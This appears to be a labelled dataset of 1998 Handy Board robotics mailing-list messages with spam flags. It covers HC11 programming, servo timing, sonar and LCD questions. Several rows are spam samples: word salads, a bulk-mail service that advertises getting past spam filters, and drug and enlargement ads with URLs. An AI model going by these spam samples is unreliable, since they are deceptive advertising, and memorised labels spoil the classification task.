digital and Analog input ? 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The total sensors used are 7 .BTW, What is the 5v supply in use for in the digital and Analog input ? If I used the above requirement , Do I I need any interface to ampilfier the voltage or current ? How to use the dc to dc converter ? Thank . Pls reply to me. The issue is urgent. rgds, Philchia ",0,0 phillip chia ,"phillip chia , handybd , ""K.F MacDorman"" , Lim Jew Huang , Dr david Rye ","Thu, 16 Jul 1998 01:09:27 +0800",Re: request help on handyboard,"---------- > From: phillip chia > To: handybd ; K.F MacDorman ; Lim Jew Huang ; Dr david Rye > Subject: request help on handyboard > Date: Thursday, July 16, 1998 12:44 AM > > hi, > Currently, I using Seal Lead Acid batteries (1.2Amp hrs) of voltage 12 v to > drive my Stepper Motor and photoelectric sensor. > > stepper motor using 3v and current is 2 Amp. > Sensor is using 12v and current is 35mA max. The total sensors used are 7 > .BTW, What is the 5v supply in use for in the digital and Analog input ? > > If I used the above requirement , Do I I need any interface to ampilfier > the voltage or current ? How to use the dc to dc converter ? > > Thank . Pls reply to me. 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In my IC code I first write to the DDRD (Port D Data Direction Register) ($1009) and activate SCK(bit4), MOSI(bit3), MISO(bit2). Then I write to SPCR (SPI Control Register and set bits 7(SPIE), 6(SPE), 4(MSTR), 2(CPHA), 1(SPR1). Following I use serial_putchar() from the serialio.c library to initialize the ADC... so far so good... no errors reported... The ADC then is supposed to make a conversion and relay the data back to the Handyboard via SPI. I use serial_getchar() v1 =(float)serial_getchar(); and the Handyboard crashes.. at least the heart on the LCD stops beating.. serialio.c is loaded on my handyboard! Was the serialio.c library written for SPI?!?! If not then I guess I found my problem.. but if it is for SPI, what am I doing wrong? Are my addresses correct? Can someone please tellme the right addresses for the following: DDRD, SPCR SPSR, SPDR. I have read various Motorola documentations and have not came out with a distinct answer for my HC11A1FN chip. I have also found contradicting values for the HC11 family so I am completly lost! The program did not work when I tried to manually receive/send data through SPI. Please help! All of the requests will be kindly appreciated! Thanks in advance Ilya ",0,0 Mike Davis ,handyboard@media.mit.edu,"Thu, 16 Jul 1998 20:28:37 -0700",Simultaneous Control of Multiple Servos,"I have asked this before and not received much regarding this question. So, here goes again. In building a walking robot, how important is it to control the motion of all legs simultaneously? Seems like that pulsing one at a time creates the situation where one leg drags the others. I know there is a delay between the time an mcu command is issued and the time the pulse goes out, but still it seems like one leg would drag the others without some kind of parallel controller. I also wonder about the ability of the serial controllers to perform simultaneous servo control. Seems like each leg should be programmed to walk identically, and that each would have a phase relationship with each other. But all have to be moving in sync and not one at a time. Is the HC11 a poor choice for this kind of motion? Or is it just fine? Or does it require some kind of servo controller? Mostly I'm interested in the walking algorithm and synchronization control. Is this at all an important issue? How is it addressed? Any web info on this? I have looked at many walking robot pages but have not seen this addressed. Thanks -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! ----------------------------------------------------------------- ",0,0 michaelj@wt.net,"Mike Davis , handyboard@media.mit.edu","Fri, 17 Jul 1998 00:15:23 -0500",Re: Simultaneous Control of Multiple Servos,"You are correct to assume that all legs should be in sync with each other and that all the legs on the ground should be moving at the same rate in the same direction to move straight (sometimes you don't want to move straight!). BUT now think of the speed of the processor and how many different pins can be turned on and off in a VERY short amount time. The servo pulse for each motor is about 50 hz but much of that time is spent waiting for the time to end the pulse and then waiting for the delay to end. Interlacing the signal control allows you to compress the time spent handing the signal generation because the processor can start and stop the pulse on several different motors in a much shorter time frame. This would make it appear as if the motor pulses were being done in parallel when in fact the signals were handled sequentially. See my crude example: S = start pulse T = terminate pulse - = active pulse . = inter-pulse delay S--------T.................................................................. .................. .S----T..................................................................... ................... ..S----------T.............................................................. .................. ...S-----T.................................................................. .................. ....S--------T.............................................................. .................. .....S--T................................................................... .................... Note that the time delay between the start of one pulse and the start of the next is only the amount of time the processor needs to setup for it which may be only a couple of instructions. By ordering which motors are adjacent to each other in the sequence, you can minimize the effect of being ""out of sync"" (all swing motors on one side are adjacent followed by swing motors on the other side followed by lift motors on the first side, etc). Computers multitask the same way but because the switching happens at such a fast rate, it appears that everything is happening simultaneously. If you had a hundred legs you would probably need a faster CPU but you could still handle them in basicly the same way. Using a well designed interrupt-based timer you can even reduce the time spent is handling the leg motor motions and perform some sensing. If you reduce the flexibility of your walking gaits and only use the alternating tripod gait then two legs on each side can receive exactly the same signal since they always move exactly together. That would reduce the number of individual motor sequences you would have to manage. I hope I didn't ramble on too long and that this helps answer your questions. Mike -----Original Message----- From: Mike Davis To: handyboard@media.mit.edu Date: Thursday, July 16, 1998 10:46 PM Subject: Simultaneous Control of Multiple Servos I have asked this before and not received much regarding this question. So, here goes again. In building a walking robot, how important is it to control the motion of all legs simultaneously? Seems like that pulsing one at a time creates the situation where one leg drags the others. I know there is a delay between the time an mcu command is issued and the time the pulse goes out, but still it seems like one leg would drag the others without some kind of parallel controller. I also wonder about the ability of the serial controllers to perform simultaneous servo control. Seems like each leg should be programmed to walk identically, and that each would have a phase relationship with each other. But all have to be moving in sync and not one at a time. Is the HC11 a poor choice for this kind of motion? Or is it just fine? Or does it require some kind of servo controller? Mostly I'm interested in the walking algorithm and synchronization control. Is this at all an important issue? How is it addressed? Any web info on this? I have looked at many walking robot pages but have not seen this addressed. Thanks -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 John Hatton ,"'Mike Davis' , 'Handyboard Mailing List' ","Fri, 17 Jul 1998 11:09:31 +0100",RE: Simultaneous Control of Multiple Servos,"I have included site addresses that I have found useful. http://www.frasco.demon.co.uk/ Maker of the Hexapod robot using a buffer of sorts (D-type latches) for simultaneous control. Definitely worth a look, he's put a lot of information into this site. http://www.mil.ufl.edu/people/erik/ Creator of Active Bitmap Algorithm and Servo16 program used in Robobug. The above address also provides a link to the Walking Robot lab that he worked for. The software and documentation for two versions of the HC11E chip are link from these pages , their addresses are : http://www.mil.ufl.edu/groups/walking/robo14c.zip (Robobug software) http://www.mil.ufl.edu/people/erik/servo16.zip http://www.mil.ufl.edu/people/erik/servo16c.zip These files are all fairly small. http://www.fzi.de/divisions/ipt/WMC/walking_machines_katalog/walking_mac hines_katalog.html#begin_machines This is a catalogue of various walking robots, I don't know how much use this one will be. Hope this helps >---------- >From: Mike Davis[SMTP:ipscone@halcyon.com] >Sent: 17 July 1998 04:28 >To: handyboard@media.mit.edu >Subject: Simultaneous Control of Multiple Servos > >I have asked this before and not received much regarding this question. So, >here goes again. > >In building a walking robot, how important is it to control the motion of all >legs >simultaneously? > >Seems like that pulsing one at a time creates the situation where one leg >drags >the others. I know there is a delay between the time an mcu command is >issued and the time the pulse goes out, but still it seems like one leg would >drag the others without some kind of parallel controller. I also wonder >about the >ability of the serial controllers to perform simultaneous servo control. > >Seems like each leg should be programmed to walk identically, and that each >would have a phase relationship with each other. But all have to be moving >in >sync and not one at a time. Is the HC11 a poor choice for this kind of >motion? >Or is it just fine? Or does it require some kind of servo controller? >Mostly I'm >interested in the walking algorithm and synchronization control. > >Is this at all an important issue? How is it addressed? Any web info on >this? I >have looked at many walking robot pages but have not seen this addressed. > >Thanks >-- >----------------------------------------------------------------- >ipscone@halcyon.com Shoot-To-Win! > >Protect the 2nd Amendment! Your rights may be next! >----------------------------------------------------------------- > > ",0,1 Ricardo Barrenechea ,handyboard@media.mit.edu,"Fri, 17 Jul 1998 12:08:47 -0300",Gleason Reserch,"Do you know what is going on with Gleason Research ??. Thay are not responding the e-mail !! Ricardo Barrenechea rbarre@cis.com.ar ",0,0 """Michael S. Davis"" ",michaelj@wt.net,"Fri, 17 Jul 1998 08:50:04 -0700",Re: Simultaneous Control of Multiple Servos,"That's the way I thought it had to be done. What I was considering was routines that moved each leg the same short distance (for straight line walking). Walking would consist of very short increments of movement. Now, this seems like it would move the robot in a jerkey motion. Depends on how short each movement was. So, the way it might work would be to have variables for each leg position (or pulse width for each leg position). Starting position. To that you would add a delta (same for each leg). So, that each time all servos moved they would all move the same amount but since each might have a different starting position, all legs would move in sync and the same distance. The routine would do something like: 1) Set start position (initial pulse; all might be different) 2) Update each leg position register with delta 3) Wait 30-60ms (or whatever the update rate should be) 4) Update the new leg position (all would move together and the same length of travel. You would need one interrupt routine controlling the PRF. I'm not sure the best way to control the pulse width for each of the possible 12 legs. Maybe a tight routine that simply started each pulse and output the value of each of the leg position registers. Then it would decrement each every x microseconds, When the count reached zero the pulse would end. thanks for your help. Side comment: When I first started thinking about this, I was trying to think of something interesting and challenging. I thought it might be interseting to see if one could develop a four-legged robot that could run (move fast) and detect and jump over an obstacle. On Fri, 17 Jul 1998 michaelj@wt.net wrote: > You are correct to assume that all legs should be in sync with each other > and that all the legs on the ground should be moving at the same rate in the > same direction to move straight (sometimes you don't want to move > straight!). BUT now think of the speed of the processor and how many > different pins can be turned on and off in a VERY short amount time. The > servo pulse for each motor is about 50 hz but much of that time is spent > waiting for the time to end the pulse and then waiting for the delay to end. > Interlacing the signal control allows you to compress the time spent handing > the signal generation because the processor can start and stop the pulse on > several different motors in a much shorter time frame. This would make it > appear as if the motor pulses were being done in parallel when in fact the > signals were handled sequentially. See my crude example: > > S = start pulse > T = terminate pulse > - = active pulse > . = inter-pulse delay > > S--------T.................................................................. > .................. > .S----T..................................................................... > ................... > ..S----------T.............................................................. > .................. > ...S-----T.................................................................. > .................. > ....S--------T.............................................................. > .................. > .....S--T................................................................... > .................... > > Note that the time delay between the start of one pulse and the start of the > next is only the amount of time the processor needs to setup for it which > may be only a couple of instructions. By ordering which motors are adjacent > to each other in the sequence, you can minimize the effect of being ""out of > sync"" (all swing motors on one side are adjacent followed by swing motors on > the other side followed by lift motors on the first side, etc). > > Computers multitask the same way but because the switching happens at such a > fast rate, it appears that everything is happening simultaneously. If you > had a hundred legs you would probably need a faster CPU but you could still > handle them in basicly the same way. Using a well designed interrupt-based > timer you can even reduce the time spent is handling the leg motor motions > and perform some sensing. If you reduce the flexibility of your walking > gaits and only use the alternating tripod gait then two legs on each side > can receive exactly the same signal since they always move exactly together. > That would reduce the number of individual motor sequences you would have to > manage. > > I hope I didn't ramble on too long and that this helps answer your > questions. > > Mike > > > > -----Original Message----- > From: Mike Davis > To: handyboard@media.mit.edu > Date: Thursday, July 16, 1998 10:46 PM > Subject: Simultaneous Control of Multiple Servos > > > I have asked this before and not received much regarding this question. So, > here goes again. > > In building a walking robot, how important is it to control the motion of > all legs > simultaneously? > > Seems like that pulsing one at a time creates the situation where one leg > drags > the others. I know there is a delay between the time an mcu command is > issued and the time the pulse goes out, but still it seems like one leg > would > drag the others without some kind of parallel controller. I also wonder > about the > ability of the serial controllers to perform simultaneous servo control. > > Seems like each leg should be programmed to walk identically, and that each > would have a phase relationship with each other. But all have to be moving > in > sync and not one at a time. Is the HC11 a poor choice for this kind of > motion? > Or is it just fine? Or does it require some kind of servo controller? > Mostly I'm > interested in the walking algorithm and synchronization control. > > Is this at all an important issue? How is it addressed? Any web info on > this? I > have looked at many walking robot pages but have not seen this addressed. > > Thanks > -- > ----------------------------------------------------------------- > ipscone@halcyon.com Shoot-To-Win! > > Protect the 2nd Amendment! Your rights may be next! > ----------------------------------------------------------------- > > > ---------------------------------------------------- Shoot-to-Win Protect the 2nd Amendment ----------------------------------------------------",0,0 Skye Legon ,handyboard@media.mit.edu,"Fri, 17 Jul 1998 12:15:43 -0400",Config register 0x3c,"As no one has any insight into why I'm getting a config register value of 0x3c when downloading pcode, I am into speculation mode. To refresh people's memory: All of DL, DLM, and HBDL refuse to download the pcode to my chip, and HBDL reports that my config register is set to 0x3c. I have replaced my HC11 with a new one, and still get 0x3c. Three questions then: 1. As the error occurs when I begin to write to RAM, is it possible that I have a bad RAM chip, and this returned config register value of 0x3c is somehow a result of that? 2. Is there any other bit of hardware on the board that could poop out and result in HBDL returning a config register value of 0x3c? 3. Are there *any* suggestions for diagnostic tests I could perform to track down this error? Cheers, Skye. +-----------------------------------------+----------------------------+ | Skye Legon | University of Waterloo | | Systems Design Engineering | __/ __/ __/ __/ | | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | | +1(519)888-9249 | ______/ ___/ \\___/ | | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | +-----------------------------------------+----------------------------+ ",0,0 Charley Webb ,"Ricardo Barrenechea , handyboard@media.mit.edu","Fri, 17 Jul 1998 12:49:51 -0400",Re: Gleason Reserch,"On their website, they state this: A Note to Our Valued Customers Regarding Our Schedule: Gleason Research will be closed until Monday, 13 July, for robotics workshops. Any orders faxed or mailed will be processed and shipped at that time. We appreciate your understanding At 12:08 PM 7/17/98 -0300, Ricardo Barrenechea wrote: >Do you know what is going on with Gleason Research ??. Thay are not >responding the e-mail !! > >Ricardo Barrenechea >rbarre@cis.com.ar > ",0,0 Faris Sami Gammoh ,handyboard@media.mit.edu,"Fri, 17 Jul 1998 14:03:16 -0400",Handy Board Keeps crashing," I keep getting errors that there is extra bytes on the stack. I reset the board a couple of times and that does not help. I appreciate any help. Faris ",0,0 michaelj@wt.net,michaelj@wt.net,"Fri, 17 Jul 1998 13:50:48 +0500",Re: Simultaneous Control of Multiple Servos,"I would suggest that just getting a walking robot to walk with coodination and then being able to turn in place and in an arc will be challenging enough to begin with. Just adding enough intelligence to adapt to rough terrain and the change gaits based on sensory perception ans speed will no doubt keep you busy for quite awhile. :) I am in process of researching and designing a hexapod myself. I want it to be able to move at about 2 mph (human walking speed)in its fast pace. I have not found any hobby servos that can move in a 90 degree arc at 6 hz (6 inches times 6 hz is about 2 mph). Well, let me correct myself...I haven't found any I could afford! Keep in touch and we'll compare notes as we go. I am actually considering using an Atmel 90S1200 16Mhz microcontroller for each leg (3 motors per leg - only 2 for the first prototype) tied together with a central microcontroller via an SPI bus. Mike >That's the way I thought it had to be done. > >What I was considering was routines that moved each leg the same short >distance (for straight line walking). Walking would consist of very short >increments of movement. Now, this seems like it would move the robot in a >jerkey motion. Depends on how short each movement was. > >So, the way it might work would be to have variables for each leg >position (or pulse width for each leg position). Starting position. To >that you would add a delta (same for each leg). So, that each time all >servos moved they would all move the same amount but since each might have >a different starting position, all legs would move in sync and the same >distance. > >The routine would do something like: >1) Set start position (initial pulse; all might be different) >2) Update each leg position register with delta >3) Wait 30-60ms (or whatever the update rate should be) >4) Update the new leg position (all would move together and the same >length of travel. > >You would need one interrupt routine controlling the PRF. I'm not sure >the best way to control the pulse width for each of the possible 12 legs. >Maybe a tight routine that simply started each pulse and output the value >of each of the leg position registers. Then it would decrement each every >x microseconds, When the count reached zero the pulse would end. > >thanks for your help. > >Side comment: When I first started thinking about this, I was trying to >think of something interesting and challenging. I thought it might be >interseting to see if one could develop a four-legged robot that could >run (move fast) and detect and jump over an obstacle. > > > >On Fri, 17 >Jul 1998 michaelj@wt.net wrote: > >> You are correct to assume that all legs should be in sync with each other >> and that all the legs on the ground should be moving at the same rate in the >> same direction to move straight (sometimes you don't want to move >> straight!). BUT now think of the speed of the processor and how many >> different pins can be turned on and off in a VERY short amount time. The >> servo pulse for each motor is about 50 hz but much of that time is spent >> waiting for the time to end the pulse and then waiting for the delay to end. >> Interlacing the signal control allows you to compress the time spent handing >> the signal generation because the processor can start and stop the pulse on >> several different motors in a much shorter time frame. This would make it >> appear as if the motor pulses were being done in parallel when in fact the >> signals were handled sequentially. See my crude example: >> >> S = start pulse >> T = terminate pulse >> - = active pulse >> . = inter-pulse delay >> >> S--------T.................................................................. >> .................. >> .S----T..................................................................... >> ................... >> ..S----------T.............................................................. >> .................. >> ...S-----T.................................................................. >> .................. >> ....S--------T.............................................................. >> .................. >> .....S--T................................................................... >> .................... >> >> Note that the time delay between the start of one pulse and the start of the >> next is only the amount of time the processor needs to setup for it which >> may be only a couple of instructions. By ordering which motors are adjacent >> to each other in the sequence, you can minimize the effect of being ""out of >> sync"" (all swing motors on one side are adjacent followed by swing motors on >> the other side followed by lift motors on the first side, etc). >> >> Computers multitask the same way but because the switching happens at such a >> fast rate, it appears that everything is happening simultaneously. If you >> had a hundred legs you would probably need a faster CPU but you could still >> handle them in basicly the same way. Using a well designed interrupt-based >> timer you can even reduce the time spent is handling the leg motor motions >> and perform some sensing. If you reduce the flexibility of your walking >> gaits and only use the alternating tripod gait then two legs on each side >> can receive exactly the same signal since they always move exactly together. >> That would reduce the number of individual motor sequences you would have to >> manage. >> >> I hope I didn't ramble on too long and that this helps answer your >> questions. >> >> Mike >> >> >> >> -----Original Message----- >> From: Mike Davis >> To: handyboard@media.mit.edu >> Date: Thursday, July 16, 1998 10:46 PM >> Subject: Simultaneous Control of Multiple Servos >> >> >> I have asked this before and not received much regarding this question. So, >> here goes again. >> >> In building a walking robot, how important is it to control the motion of >> all legs >> simultaneously? >> >> Seems like that pulsing one at a time creates the situation where one leg >> drags >> the others. I know there is a delay between the time an mcu command is >> issued and the time the pulse goes out, but still it seems like one leg >> would >> drag the others without some kind of parallel controller. I also wonder >> about the >> ability of the serial controllers to perform simultaneous servo control. >> >> Seems like each leg should be programmed to walk identically, and that each >> would have a phase relationship with each other. But all have to be moving >> in >> sync and not one at a time. Is the HC11 a poor choice for this kind of >> motion? >> Or is it just fine? Or does it require some kind of servo controller? >> Mostly I'm >> interested in the walking algorithm and synchronization control. >> >> Is this at all an important issue? How is it addressed? Any web info on >> this? I >> have looked at many walking robot pages but have not seen this addressed. >> >> Thanks >> -- >> ----------------------------------------------------------------- >> ipscone@halcyon.com Shoot-To-Win! >> >> Protect the 2nd Amendment! Your rights may be next! >> ----------------------------------------------------------------- >> >> >> > >---------------------------------------------------- >Shoot-to-Win > >Protect the 2nd Amendment >---------------------------------------------------- > >",0,0 TheHahns ,handyboard@media.mit.edu,"Fri, 17 Jul 1998 16:28:42 -0700",HB Stress Ability,"Hello! Does anyone know how much stress can be put on a HB?? I'm into rocketry and thought about putting it in my rocket that I'm building. I was wondering: Will it work while flying in the air with the increaced G-force and high speeds? Thanks! phil hahn phil@rent-a-nerd.com ",0,0 TheHahns ,handyboard@media.mit.edu,"Sat, 18 Jul 1998 00:01:05 -0700",I'm Sorry!,"Sorry that my last message was sent in HTML format. Hopefully, it will not happen again Phil Hahn ",0,0 David Kott ,adekolaf@is2.dal.ca,"Fri, 17 Jul 1998 21:40:21 -0400",Re: LM20X21A,"On Wed, 15 Jul 1998 adekolaf@is2.dal.ca wrote: > Hello all: > > Does anyone know how to program a character into Sharp Dot Matrix > LCD LM20X21A ? I want to add the greek character, miu ( the one that > looks like italized 'u') I will be very grateful if anyone can help > me out this. > > Cheer! > > Felix Adekola > > Erm... I am just guessing here, but, I don't think it would be unreasonable to suspect that this particular LCD uses the Hitachi LCD chipset that just about every LCD manufacturer utilizes.. and every LCD chip fab'r emulates. HM44780 is it? I'm not sure. However, if it does indeed utilize this chipset, one merely presents a particular 8 bit code to the instruction register and then for each particular CGRAM address you present the 8 bit raster character image line for the character. You would encode the image thusly: 76543210 (bit locations in the aforementioned 5 bytes) 1 ........ 2 .1....1. 3 .1....1. 4 .11111.. 5 1....... where the .'s I have depicted are zeros, and the 1's are.. *shock* ones. So, the following bytes would form (something) like the character I think you want: { 0x00,0x42,0x42,0x7C,0x80 } I am not sure about the bit order, or the command to initiate the character ram transfer...... or even where said character ram resides.. but.. that's the (extremely) general way to approach custom characters with the (alleged) HM44780 chipset. -d The box said ""Requires Windows 95/NT or better""... So I got Unix. Free the Source. Free your Computer... http://www.FreeBSD.org http://www.NetBSD.org http://www.OpenBSD.org ",0,1 Fred G Martin ,handyboard@media.mit.edu,"Sat, 18 Jul 1998 08:25:13 -0400",beta testers wanted for LEGO MindStorms,"Hi all, LEGO is officially looking for beta testers for their new MindStorms product scheduled to ship this fall. I'm not sure what their selection criteria are, other than that you must live in the States and have Pentium running Windows 95. It's a pretty good deal because not only do you get the kit before anyone else, you don't pay for it, and you can keep it after the beta testing is done! Go to http://www.legomindstorms.com/betatest/ to sign up. The web pages say they plan to start the testing on August 1st. Fred ",0,1 Cierra Campuzano ,handyboard@media.mit.edu,"Sat, 18 Jul 1998 16:06:36 -0500",What's Hot in America today?,"in freewheel it shoulder and sesame or sunlight it's stirrup ",1,0 Valeria Dahlberg ,handyboard@media.mit.edu,"Sun, 19 Jul 1998 02:12:39 -0500",This needs to be tried,"a earn in deborah it peculiar try deposition be atchison ",1,0 Germán Gentile ,"Ilya , handyboard@media.mit.edu","Sun, 19 Jul 1998 11:46:24 -0300",RE: SPI problems,"Serial libraries are wwriten for Serial port,not for SPI port! Are you needing use the spi like a standard oitput port or like a SPI (synchronus serial port)???? Is the device spi compatiible? If yes, you need the portd to work like a SPI port. if not just use like a standard i/o port , and use the imagination ... :) german gentile > -----Original Message----- > From: Ilya [mailto:ilya@flight.uchicago.edu] > Sent: Jueves 16 de Julio de 1998 18:51 > To: handyboard@media.mit.edu > Subject: SPI problems > > > > > I am trying to connect my Handyboard with a Motorola 68HC11A1FN chip > inside with a AD7858L- 12-bit ADC. > > In my IC code I first write to the DDRD (Port D Data Direction Register) > ($1009) and activate SCK(bit4), MOSI(bit3), MISO(bit2). > Then I write to SPCR (SPI Control Register and set bits 7(SPIE), 6(SPE), > 4(MSTR), 2(CPHA), 1(SPR1). > Following I use serial_putchar() from the serialio.c library to initialize > the ADC... so far so good... no errors reported... > The ADC then is supposed to make a conversion and relay the data back to > the Handyboard via SPI. I use serial_getchar() > > v1 =(float)serial_getchar(); > > and the Handyboard crashes.. at least the heart on the LCD stops > beating.. > serialio.c is loaded on my handyboard! Was the serialio.c library written > for SPI?!?! If not then I guess I found my problem.. but if it is for SPI, > what am I doing wrong? Are my addresses correct? > > Can someone please tellme the right addresses for the following: > DDRD, SPCR SPSR, SPDR. > > I have read various Motorola documentations and have not came out with a > distinct answer for my HC11A1FN chip. I have also found contradicting > values for the HC11 family so I am completly lost! The program did not > work when I tried to manually receive/send data through SPI. > > Please help! > > > All of the requests will be kindly appreciated! > > Thanks in advance > > Ilya > > > > ",0,0 Mike Davis ,handyboard@media.mit.edu,"Wed, 10 Jun 1998 08:41:19 -0700",Extra HB For Sale,"I have one extra HandyBoard that I will sell if anyone needs one. It is a fully assembled and tested board with Serial Interface Board and cases. It has never been used in a project (about 2 months old). I built two of these and find that I am only going to need one for now. It has the 68HC11E1 micro installed. It does NOT include an IR demodulator and I do NOT have an extra LCD display, so it does not include a display either. These two missing items amount to about $15. I will sell this for $225, includes shipping. If interested contact me at: ipscone@halcyon.com or (206) 953-0784. -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! ----------------------------------------------------------------- ",0,0 adekolaf@is2.dal.ca,handybd ,"Sun, 19 Jul 1998 17:07:12 +0000",Parellel port control,"Has anybody tried using the ""delay function, outportb function and inportb function"" that comes with Borland C++ 5.01. I am trying to control a set of LEDs conncted to my printer port using a C++ program. My program woudn't compile. The error is that delay, outportb and inportb functions are not define. A segment of my program is as follows: #include #include #define BASE 0x0378 //base address of LPT1 for my computer #define BASE_S BASE + 1 #define BASE_C BASE + 2 main( ) { int data_in; int count = 8; do { outportb(DATA, 0x00); //turn eight LEDs on delay(1000); outportb(DATA, 0xff); //turn LEDs off data_in = inportb((STATUS)^0x80)); //read in a byte. printf(""%x\\n"", data_in); count = count - 1 }while(count !=0); } I would really appreciate if someone know what is wrong. I check the dos.h files and it seems to be fine",0,0 Mike Davis ,handyboard@media.mit.edu,"Sun, 19 Jul 1998 16:25:34 -0700",(Fwd) Extra HB For Sale,"Oops! I had my date set incorrect, on my PC. This was sent out on July 19th not June 10th. ------- Forwarded Message Follows ------- From: ""Mike Davis"" To: handyboard@media.mit.edu Date sent: Wed, 10 Jun 1998 08:41:19 -0700 Subject: Extra HB For Sale Priority: normal I have one extra HandyBoard that I will sell if anyone needs one. It is a fully assembled and tested board with Serial Interface Board and cases. It has never been used in a project (about 2 months old). I built two of these and find that I am only going to need one for now. It has the 68HC11E1 micro installed. It does NOT include an IR demodulator and I do NOT have an extra LCD display, so it does not include a display either. These two missing items amount to about $15. I will sell this for $225, includes shipping. If interested contact me at: ipscone@halcyon.com or (206) 953-0784. -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! ----------------------------------------------------------------- -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 mvchang@earthlink.net,HandyBoard ,"Sun, 19 Jul 1998 17:39:35 -0700",Comm problems,"Hi all, I am currently having problems getting my HB to talk with my computer. I am using IC 3.2. Because of time and work pressures I have not been able to play witht my bot for a couple of months. Everything worked fine then. I didn't change anything with the bot or the HB or my PC COM Port settings for that matter. It took me about four tries to download the pcode so the HB now boots into IC. I fire up IC on my PC and get the following messages: Synchronizing with board Pcode version 3.10 present on board Loading C:\\WINDOWS\\DESKTOP\\ROBOTICS\\IC 3.2\\libs\\lib_hb.lis Loading C:\\WINDOWS\\DESKTOP\\ROBOTICS\\IC 3.2\\libs\\lib_hb.c Loading C:\\WINDOWS\\DESKTOP\\ROBOTICS\\IC 3.2\\libs\\r22_ir.lis Loading C:\\WINDOWS\\DESKTOP\\ROBOTICS\\IC 3.2\\libs\\r22_ir.icb Loading C:\\WINDOWS\\DESKTOP\\ROBOTICS\\IC 3.2\\libs\\r22_ir.c Initializing interrupts Downloading 1724 bytes (addresses 8000-86BB) : 1724 loaded Downloading 78 bytes (addresses 86BC-8709) : 78 loaded Downloading 16 bytes (addresses 870A-8719) : 16 loaded Board synchronization error: sent 98, received 12 errors ...and then the HB freezes. No little heartbeat :-(. When I go into settings to reaquire the board the heartbeat starts again. I am completely baffled, can someone help me. Thanks Mike ",0,0 ���������� ������ <221dimitris@too.de>,handyboard@media.mit.edu,"Sun, 19 Jul 1998 16:03:34 +0800",85% ������!!!,"рассылка е-мэйлов 4 рассылки по базе Москвы 3.641.000 + бесплатный хостинг рекламной странички ВСЕГО ЗА 15.0OO Рублей Ограниченный набор постоянных клиентов на данных условиях!!. Все просто. Мы обеспечиваем качественную рассылку. На высоких скоростях. Если Вам ежедневно необходима качественная рассылка. Обход ВСЕХ существующих фильтров . Наше спецпредложение для Вас! <<<< ________________ Цена разовой рассылки 7200Руб. Москва, 10.000RUB Россия+Москва(около 6мнл) Обращайтесь (495) 50О*75+89 Еще по одной, И молчанье твое было слишком похоже на ложь, Вот и наступило то самое завтра,Я возвращаюсь домой 3. (С)Трах В Твоих Глазах",1,0 Jonathan Hudson ,Richard Zidlicky ,"Sun, 19 Jul 1998 14:49:08 +0100",QLip documentation,"Here is the file you requested when I was away. Regards --- If it happens once, it's a bug. If it happens twice, it's a feature. If it happens more than twice, it's a design philosophy. ",0,0 Levi Straub ,"handyboard@media.mit.edu, corina@media.mit.edu, derrick@media.mit.edu, cody@media.mit.edu, deann@media.mit.edu","Sun, 19 Jul 1998 20:02:37 -0500",bring down your body fat,"try horseman it sufficient not bristle but grocer and dennis ",1,0 EVA-01 ,handyboard@media.mit.edu,"Mon, 20 Jul 1998 15:04:16 +0800",Another HandyBoard for sale,"Hi all, I also have a Handyboard for sale, but with a 20x4 display and the IR demodulator. No casing, however. Price is just slightly more at $235, includes shipping. It has a A0 processor. I'm selling it because it's a bit ""overpowered"" for my application; I don't use the IR output, motors nor the inputs. Email for info. Thanks! ",0,0 Katana Batten ,handyboard@media.mit.edu,"Sun, 19 Jul 1998 22:00:43 -0700",Re: VqtAGRA news,"Hi, X V C L A V P a I I e m A r n A A v b L o a G L i i I z x R I t e U a A S ra n M c http://www.wealicites.com one set of footprints led-none coming, only ones going away from here. I followed these as far as the Carrock. There they disappeared into the river, but the water was too deep and strong beyond the rock for me to cross. It is easy enough, as you remember, to get from this bank to the Carrock by the ford, but on the other side is a cliff standing up from a swirling channel. I had to walk miles before I found a place ",1,1 HVillalva@aol.com,handyboard@media.mit.edu,"Mon, 20 Jul 1998 09:00:39 -0400",re: paralell port,"Somebody request some info about paralllel port look in thisd site for an example writing in C http://et.nmsu.edu/~etti/fall96/computer/printer/printer.html cheers ",0,1 Sheridan Edward Ethier ,handyboard@media.mit.edu,"Mon, 20 Jul 1998 09:31:21 -0500",Sonar Help!,"Hi, I am having problems getting my Polaroid sonar to work properly. Following Kent Farnsworth's directions, I have hooked up the sonar: Sonar ====> Handy Board ECHO TIC3 (Top position) V+ TIC3 (Middle) GND TIC3 (Bottom) INIT PIN 9 of 2nd L293DNE socket BINH ---1K--- PIN 1 of 2nd L293DNE socket Installed a 0.1 uf capacitor in C7. After running Kent's sonartst.c, the transducer makes the ticking sound and 213"" is displayed on the LCD. Unfortunately, it doesn't change! If I unplug the ECHO, the display goes to 0"". If I apply a voltage to where the ECHO is supposed to be, I can produce varying distances between 0"" and 213"". Does anybody know what is going on? Sheridan ",0,0 Milton Santana ,handyboard@media.mit.edu,"Mon, 20 Jul 1998 07:04:14 -0600",Re: QUESTION,"-S'ensationall revoolution in m'edicine! -E'n'l'a'r'g'e your p''enis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be impressed with results! Clisk here: http://quickneasycpr.com illuminate electrician slob salve epilogue coworker psychoses entire floodlight everhart solitaire country incredulous oust cerium assign muir fork dryad ecole carroll animal mall apology barrow holst drag squashy jacobs amend fescue broadloom stagnate bathrobe brisk certitude courthouse garvey ornate irrefutable onomatopoeic stammer repository tout sister bathe cryostat dissertation alluvial religiosity pigging fungible fern rudyard ",1,1 The Plumber ,handyboard@media.mit.edu,"Mon, 20 Jul 1998 15:00:44 -0600",LCD routines,"I would like to be able to use the LCD screen on the handy board while using just straight assembly programs. Is there anyone that has some example code, 